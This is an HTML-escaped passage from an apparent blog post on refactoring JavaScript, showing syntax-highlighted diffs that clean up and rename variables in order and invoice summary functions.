&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; cust&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // console.log(&#39;order&#39;, order);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; cust&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; cust&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; data&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; data&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getInvoiceSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; cust&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; cust&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; cust&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that the noise is gone, I move to the next phase: rewrite.&lt;/p&gt;
&lt;h2&gt;Rewrite&lt;/h2&gt;
&lt;p&gt;In this second pass, I improve each function locally, without (yet) thinking
about how all the functions interact with each other globally.&lt;/p&gt;
&lt;p&gt;I start by renaming variables so their name removes any ambiguity as to what
they represent: I use full names rather than abbreviations and avoid generic
names like &lt;code&gt;data&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The behavior is exactly the same. This is purely cosmetic, but it helps me
understand what objects and concepts I&#39;m dealing with.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi has-diff&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;4 7 15 16 17 18 19 21 24 26 27 32 33 34 35&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;formatDate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./dates.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./api.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    customer: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    price: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;totalWithTax&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    date: &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;formatDate&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;createdAt&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getOrderSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;summary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customerName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;summary&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getInvoiceSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line modified&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff remove&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot; class=&quot;word-diff add&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
